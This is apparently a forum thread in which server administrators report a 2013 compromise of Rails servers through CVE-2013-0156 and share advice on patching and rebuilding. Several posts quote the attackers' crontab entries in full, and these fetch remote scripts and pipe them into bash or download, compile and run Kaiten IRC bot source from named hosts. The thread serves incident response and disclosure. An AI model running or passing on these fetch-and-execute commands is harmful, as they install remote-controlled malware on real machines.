I found just that (with syslog) :
May 24 17:24:15 localhost crontab[27812]: (my_login) DELETE (my_login)
May 24 17:24:15 localhost crontab[27818]: (my_login) LIST (my_login)
May 24 17:24:15 localhost crontab[27817]: (my_login) REPLACE (my_login)
May 24 17:24:16 localhost crontab[27821]: (my_login) DELETE (my_login)
May 24 17:24:16 localhost crontab[27827]: (my_login) LIST (my_login)
May 24 17:24:16 localhost crontab[27826]: (my_login) REPLACE (my_login)
At the moment, I didn't understand how he could do that...
By ssh is impossible because i use private key with password (PasswordAuthentication no)
I think the man has access because he uploaded this files whitout me noticing. (for me : "k.c" & "sh.py")
Also he run process "than.pid" with fake a name "- bash".
Be careful.

I have the same problem!
This is really CRAZY! How is this even possible that someone can get into the Servers?
Even I have the same issue too.
The server crontab is being overridden with this:
1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;
This happened twice in the last 3 days. Not sure how anyone can get into the server and do this.
On which data center you are seeing this issue? Ours is on Linode.
Hope its not related to the Security concerns that happened a few weeks ago.
What did you do to fix that?

Hi,
I have a personal server at home, I'm not using any data center.
I really don't know how this man got into the server. And i can't believe it is by ssh.. I'm going to look at every logs on my server. I suspect the guy used http protocol.. But I'm really not sure.
At the moment, I haven't fixed that, and i think to reinstall my system to be sure to reset all access and maybe remove suspicious programs.
Can you tell me briefly what you mean by "security concerns" ? I wonder if he managed to access by one of my wordpress websites. Do you have any website (wordpress type) ?
Check your temporaries folders (/var/tmp & /tmp & ...). Because I saw suspicious program files with fake creation dates...
Thanks

Hi,
We have the same problem on customer servers dedicated to a custom Ruby on Rails application.
I have noticed different crontab during the past four days (since 23th of May).
On 2013-05-23:
- 1 * * * wget -O /var/tmp/k.c 188.190.124.120/kaiten-src.c && gcc -o /var/tmp/ka /var/tmp/k.c && chmod +x /var/tmp/ka && /var/tmp/ka
On 2013-05-24:
1 * * * * wget -O /var/tmp/k colkolduld.com/req/work.php && chmod +x /var/tmp/k && /var/tmp/k
Today:
1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;
I suspect (but I have no clue ^^) the root vulnerability which give access to the server might be related to Ruby on Rails. We are using:
- Ruby 1.9.3 p327
- Ruby On Rails 3.2.11
And we didn't manage to update our servers because we are still in heavy development mode.
We tried to change root password as quick fix but it didn't stop the attacker (I am even not sure that he needs/uses root access as he overrides user-level crontab...).
Regards.

I saw the "k.c" and i have the impression, he uses irc server... in "cvv4you.ru" & "188.190.124.120" -> channel '#rails'
He runs the program with a fake name "- bash" I saw that in the process list with htop
I think we have to warm all RoR developers...

Hi, Ok that's why I asked if one of you have redmine. Because I found interesting logs. I think he uses "/login?back_url=" nginx/access.log (My redmine) Here (I don't know how..) he compiled the C program. (for me "k.c" & "sh.py") nginx/error.log I saw the "k.c" and i have the impression, he uses irc server... in "cvv4you.ru" & "188.190.124.120" -> channel '#rails' I think we have to warm all RoR developers... |

Salut Remy,
Thanks for putting your log because I found something really interesting in the GET /login?back_url= request that you pointed out:
The 'back_url' is URL encodded twice:

And so we can see that with this specially crafted request, the bad guy is able to run Ruby code which erase user-level crontab replacing by its own crontab.
I don't know exactely how it work, it might me related to rack security issue disclosed earlier this year (or perhaps undisclosed vulnerability...).
Thanks again for the log!

Regarding me I am on Rails 3.2.8 with custom application.
I have spotted 3 IPs which were sending malicious request to one of our server:
88.198.20.247
95.138.186.181
188.190.126.105
The malicious requests are messing with YAML parameters and Session Cookie.
Here is some extracts of the log with malicious request:

This is an exploit of an old Rails bug (CVE-2013-0156).
Clean your systems and update to 3.2.12.

I'm building an application with will integrate with GitHub to alert you when a vulnerability is found in any of the Gems that your application uses.
For this case, you would have received an alert when the Rails vulnerabilities were found, and would then have had time to update your application before an attacker got access.

The Gem::Requirements piece makes me think its the Rails YAML parameter vulnerability from a few months ago. Even if you've updated versions, you may still be vulnerable. You can check here to see if that's the bug: https://www.tinfoilsecurity.com/railscheck
If your server has been compromised, you must rebuild from scratch - updating versions isn't enough.

You can test for vulnerable versions in applications automatically with GemCanary which can be especially helpful if you have a large number of applications and lose track of some of them from time to time. I've found it presents the various alerts in a context that's relevant to you based on your Gemfile.lock.

Wow. I think this needs some clarification. I was not who posted it to HN. This is a rather old Rails vulnerability that has since been patched and explained. It was all over the internet back in January. I updated my apps as soon as the patches were made available and none of my servers were ever successfully attacked in this way. I just spotted the backtraces in my error logs and posted the offending code here for reference.
All the comments and discussion are appreciated but I will suggest that if you were affected by this and plan to start a discussion then use your own fork and attribution. Thanks!

Hi,
an what about my configuration ??
Server version: Apache/2.2.14 (Ubuntu)
Rails 3.2.3
ruby 1.9.2p320 (2012-04-20 revision 35421) [i686-linux]
no nginx, no rails 3.2.1, no redmine, no yalm problem, but I had the same problem detailed below :
- k.c, k and ka files in /var/tmp (probably irc script)
- an new line in my crontab executing some wget like this :
wget -O /var/tmp/k.c 188.190.124.120/kaiten-src.c && gcc -o /var/tmp/ka /var/tmp/k.c && chmod +x /var/tmp/ka && /var/tmp/ka
wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O -
wget -O /var/tmp/k colkolduld.com/req/work.php && chmod +x /var/tmp/k && /var/tmp/k
I do not find any suspect trace in my apache log, but there were some actions under fail2ban ( I didn't look deep at it anymore since chmod and update www-data cron resolve my problem as describe above).
I'm still searching how the malicious scripts were upload to my server ...
